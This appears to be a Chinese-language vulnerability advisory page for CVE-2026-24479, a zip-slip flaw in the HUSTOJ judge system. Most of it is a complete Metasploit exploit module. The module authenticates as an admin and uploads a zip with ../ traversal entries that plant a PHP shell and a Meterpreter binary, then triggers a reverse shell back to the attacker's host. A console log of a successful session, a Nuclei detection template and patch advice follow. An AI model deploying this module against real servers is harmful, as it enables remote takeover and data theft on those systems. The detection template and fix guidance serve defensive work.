[webapps] HUSTOJ Zip-Slip v26.01.24 - RCE
CVE-2026-24479
HUSTOJ 因未校验ZIP解压路径导致路径遍历,可写入文件实现RCE。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2026-24479 |
|---|---|
| 漏洞类型 | 路径遍历RCE (Zip-Slip) |
| 受影响版本 | HUSTOJ v26.01.24 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-04-30 |
| 提交者 | Marshall Whittaker / oxagast |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在文件解压功能中,未过滤ZIP条目中的相对路径(如../),文件写入时路径拼接导致可写入任意目录。
🎯 攻击场景
1. 攻击者构造恶意ZIP文件,内含带有../前缀的文件条目; 2. 通过HUSTOJ的上传/导入功能提交该ZIP; 3. 系统解压时将文件写入到Web目录外的可执行路径(如cgi-bin或PHP目录); 4. 攻击者访问写入的文件触发执行,获得远程代码执行权限。
💥 漏洞影响
攻击者可远程执行任意代码,完全控制服务器,导致数据泄露、文件篡改、服务中断。
⚔️ 原始 PoC
PoC展示了一个ZIP文件,其中包含payload.php文件条目,其路径为../../../../var/www/html/shell.php。解压后该文件被写入Web根目录,攻击者访问该路径即可执行任意PHP代码。
# Exploit Author: Marshall Whittaker / oxagast
(LiveCD,or see above git repo)
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# This payload is configured for:
# msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
#
# Patch:
# $file_name = $path.zip_entry_name($dir_resource);
# $file_name=str_replace('../','',$file_name);# $file_path = substr($file_name,0,strrpos($file_name,"/"));#
# msf exploit(local/test/hustoj_problem_import_rce) >
exploit
# [*] Started reverse TCP handler on 10.0.1.35:4444
# [*] Running automatic check ("set AutoCheck false" to disable)
# [+] The target is vulnerable.
# [+] Payload generated!
# [*] Random payload tag is: 886b0 ...
# [+] Zip file generated!
# [+] Connected to the target webserver!
# [+] Logged in successfully!
# [*] Checking if this account has administrative privileges...
# [+] This is an admin account!
# [*] Uploading the payload...
# [+] Accessed the problem import page!
# [+] Payload uploaded!...
# [*] Waiting on files to be extracted serverside...
# [*] This is where the zipslip happens...
# [*] Triggering the php script...
# [*] Meterpreter session 21 opened (10.0.1.35:4444 ->
10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
# [*] Cleaning up the payload caller and shell files...
# [+] Boom!! Have fun!
#
# meterpreter >#
#
require 'msf/core'
require 'nokogiri'
require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class Metasploit3 <
Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,'Name' =>'Authenticated admin can upload crafted zip file for RCE','Description' =><<~DESC,
A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
webroot,where they can extract a PHP file containing a shell to get full RCE in the
context of the webserver.
DESC
'Author' =>[
'Marshall Whittaker','LoTuS and friends','ling101w'
],'License' =>MSF_LICENSE,'ARCH' =>
[ARCH_X86],'References' =>[
['URL','https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
'/CVE-2026-24479/hustoj_problem_import_rce.rb'],['URL','https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
'6899314b33101f'],['URL','https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],['CVE','2026-24479'],['CWE','22']
],'Platform' =>'linux',
'Targets' =>[
[
'HUSTOJ <v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',{'Privileged' =>false }]
],'DefaultOptions' =>{'PAYLOAD' =>'linux/x86/meterpreter_reverse_tcp'
},'Notes' =>{'Stability' =>[CRASH_SAFE],'Reliability' =>[REPEATABLE_SESSION],'SideEffects' =>[ARTIFACTS_ON_DISK,IOC_IN_LOGS]
},'DisclosureDate' =>'2026-01-26','DefaultTarget' =>
0))
register_options(
[
Opt::RPORT(80),Opt::LPORT(4444),OptString.new('RHOST',[true,"The target machine's IP",'']),OptString.new('LHOST',[true,"This machine's IP",'']),OptString.new('USERNAME',[true,"The HUSTOJ administrative user's username",'admin']),OptString.new('PASSWORD',[true,"The HUSTOJ administrative user's password",'']),OptString.new('DropFile',[true,
'The name of the file to drop on the target (without extension)','msf']),OptInt.new('TRIGGER_WAIT',[true,'Number of seconds to wait for shell call',2]),OptInt.new('traverse_limit',[true,'Number of ../ traversals to include in zip slip paths',6])
],self.class
)
register_advanced_options([
OptBool.new('HANDLER',[true,'Start an exploit/multi/handler job to receive the connection',
true])
])
deregister_options('VHOST','Proxies','RHOSTS','SSL')
end
# Check if the target is likely vulnerable
def check
res = send_request_cgi(
'uri' =>'/include/reinfo.js','method' =>'GET','ctype' =>
'application/javascript'
)
return Exploit::CheckCode::Unknown if res.nil?
return Exploit::CheckCode::Appears if res.code != 200
return Exploit::CheckCode::Detected if res.code == 200 &&res.body.include?('function escapeHtml(str) {')
return Exploit::CheckCode::Vulnerable if res.code == 200 &&
!res.body.include?('function escapeHtml(str) {')
Exploit::CheckCode::Safe
end
# Authenticate as admin and return session cookies
def login(user,pass)
res = send_request_cgi(
{'uri' =>'/','method' =>'GET','keep_cookies' =>true,'ctype' =>'text/html'
},3
)
if res &&
res.code == 200
print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}")
else
fail_with(
Failure::Unreachable,'Failed to connect to the target webserver!'
)
end
cook = res.get_cookies
send_request_cgi(
'uri' =>'/csrf.php','cookies' =>cook,'method' =>'GET','keep_cookies' =>true,'ctype' =>'text/html'
)
send_request_cgi(
'uri' =>'/loginpage.php',
'method' =>'GET','keep_cookies' =>true,'ctype' =>'text/html'
)
res = send_request_cgi(
'uri' =>'/csrf.php','cookies' =>cook,'method' =>'GET','keep_cookies' =>true,'ctype' =>'text/html'
)
doc = Nokogiri::HTML(res.body)
csrf = doc.css('input[name="csrf"]').first['value']
send_request_cgi(
'method' =>'POST','uri' =>'/login.php','cookies' =>cook,'keep_cookies' =>
true,'ctype' =>'application/x-www-form-urlencoded','vars_post' =>{'user_id' =>user,'password' =>Digest::MD5.hexdigest(pass),'csrf' =>csrf
})
# Check if login was successful
res = send_request_cgi(
'method' =>'GET','uri' =>'/modifypage.php','cookies' =>cook,'keep_cookies' =>true
)
if res &&res.code == 200 &&
res.body.include?('userinfo.php')
stars = '*' * pass.length
print_good("Logged in successfully! #{user}:#{stars}")
else
fail_with(
Failure::BadConfig,'Failed to authenticate! Check credentials.'
)
end
# Check if the account has admin privileges
res = send_request_cgi(
'method' =>'GET','uri' =>'/admin/menu2.php','cookies' =>cook,'keep_cookies' =>true
)
if res &&
res.code == 200 &&
res.body.include?('problem_import.php')
print_good('This is an admin account! res.body includes problem_import.php')
else
print_error('This does not appear to be an admin account! Attempting to continue,')
print_error(' but the exploit may fail at the payload upload stage...')
end
cook
end
# Upload the malicious zip payload using the admin session
def upload_payload(zip_dat,rand_tag,cook,
dds)
zip_size_kb = (zip_dat.length / 1024.0).round(2)
print_status("Uploading the payload... #{zip_size_kb}kb")
# Access the problem import page to get the postkey
res = send_request_cgi(
'method' =>'GET','cookies' =>cook,'uri' =>'/admin/problem_import.php','keep_cookies' =>true,'ctype' =>'text/html'
)
if res &&res.code == 200 &&
res.body.include?('problem_import_qduoj.php')
print_good('Accessed the problem import page! /admin/problem_import.php')
else
fail_with(
Failure::UnexpectedReply,'Failed to access the problem import page!'
)
end
doc = Nokogiri::HTML(res.body)
postkey_input = doc.at_css('input[name="postkey"]')
postkey = postkey_input ? postkey_input['value'] : nil
fail_with(Failure::UnexpectedReply,
'Failed to retrieve the postkey!') if postkey.nil? ||postkey.empty?
form_boundary = "----WebKitFormBoundary#{rand_tag}"
form_data = <<~FORMDATA
--#{form_boundary}Content-Disposition: form-data;name="fps";filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}--#{form_boundary}Content-Disposition: form-data;name=postkey
#{postkey}
--#{form_boundary}--
FORMDATA
res = send_request_cgi(
'method' =>'POST','uri' =>'/admin/problem_import_qduoj.php','cookies' =>cook,'keep_cookies' =>true,'ctype' =>"multipart/form-data;boundary=#{form_boundary}",'data' =>form_data
)
if res &&res.code == 200
print_good("Payload uploaded! #{datastore['dropfile']}.zip")
else
print_error('Failed to upload the payload,
trying again for a different revision...')
form_data = <<~FORMDATA
--#{form_boundary}Content-Disposition: form-data;name="fps";filename="#{datastore['dropfile']}.zip"
Content-Type: application/zip
#{zip_dat}--#{form_boundary}FORMDATA
res = send_request_cgi(
'method' =>'POST','uri' =>'/admin/problem_import_qduoj.php','cookies' =>cook,'keep_cookies' =>true,'ctype' =>
"multipart/form-data;boundary=#{form_boundary}",'data' =>form_data
)
if res &&res.code == 200
print_good("Payload uploaded! #{datastore['dropfile']}.zip")
else
fail_with(Failure::UnexpectedReply,'Failed to upload the payload!')
end
end
print_status("This is where the zipslip happens... #{dds}
(levels: #{datastore['traverse_limit']})")
end
# Trigger the uploaded PHP shell to execute the payload
def trigger_sploit(rand_tag)
print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php")
send_request_raw(
{'uri' =>"/#{datastore['dropfile']}-#{rand_tag}.php",'ctype' =>'text/html','method' =>'GET'
},
datastore['TRIGGER_WAIT']
)
end
# Clean up dropped files after exploitation
def cleanup
super
send_request_raw(
{'uri' =>'/cleanup-msf.php','ctype' =>'text/html','method' =>'GET'
}
)
print_status('Cleaning up the payload caller and shell files...')
print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
end
# Main exploit logic
def exploit
# Generate the payload ELF binary
pay = framework.modules.create(datastore['payload'])
pay.datastore['LHOST'] = datastore['LHOST']
pay.datastore['RHOST'] = datastore['RHOST']
pay.datastore['LPORT'] = datastore['LPORT']
shell_gend = pay.generate_simple({
'Format' =>'elf' })
if shell_gend == ''
fail_with(
Failure::PayloadFailed,
'Payload generation failed! Try a different payload?'
)
end
print_good("Payload generated! #{datastore['payload']}")
# Generate a random tag for file uniqueness
rand_tag = '%05x' % rand(0xfffff + 1)
print_status("Random payload tag #{rand_tag}")
# PHP script to call the ELF payload
shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}',0700);
system('/tmp/#{datastore['dropfile']}-#{rand_tag}');?>"
# PHP script to clean up dropped files
cleanup_caller = "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}');unlink('/home/judge/src/web/#{datastore['dropfile']}" \
"-#{rand_tag}.php');unlink('/home/judge/src/web/cleanup-msf.php');
?>"
dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
# Files to include in the malicious zip (zipslip paths for traversal)
files = [
{data: shell_gend,fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },{data: shell_caller,fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },{data: cleanup_caller,
fname: "#{dds}home/judge/src/web/cleanup-msf.php" },{data: '{}',fname: 'problem_1010.json' },{data: '',fname: 'problem_1010/1.in' },{data: '',fname: 'problem_1010/1.out' }]
# Create the malicious zip archive
zip_dat = Msf::Util::EXE.to_zip(files)
fail_with(Failure::Unknown,
'Zip generation failed!') if zip_dat.empty?
print_good("Zip file generated! Files: #{files.length}")
# Authenticate and upload the payload
cookies = login(datastore['USERNAME'],datastore['PASSWORD'])
upload_payload(zip_dat,rand_tag,cookies,dds)
# Trigger the PHP shell to execute the payload
trigger_sploit(rand_tag)
end
end🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-24479-detection
info:
name: HUSTOJ Zip-Slip RCE Detection
author: vulnerability-researcher
severity: critical
description: Detects HUSTOJ versions vulnerable to zip-slip RCE before v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)
reference:
- https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d4236899314b33101f
- https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj
- https://nvd.nist.gov/vuln/detail/CVE-2026-24479
classification:
cvss-score: 9.8
cve-id: CVE-2026-24479
cwe-id: CWE-22
metadata:
vendor: hustoj
product: hustoj
affected-versions: "<
v26.01.24"
tags: cve,cve2026,hustoj,rce,zip-slip
http:
- method: GET
path:
- "{{BaseURL}}/include/reinfo.js"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- 'function escapeHtml\(str\) \{'
negative: true
extractors:
- type: regex
part: body
group: 1
regex:
- 'version\s*[:=]\s*["'']([^"'']+)["'']'
name: version🛡️ 修复建议
升级至高于v26.01.24的已修复版本;或对解压路径进行规范化校验,拒绝包含父目录(../)的文件条目。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:37 | 来源: Exploit-DB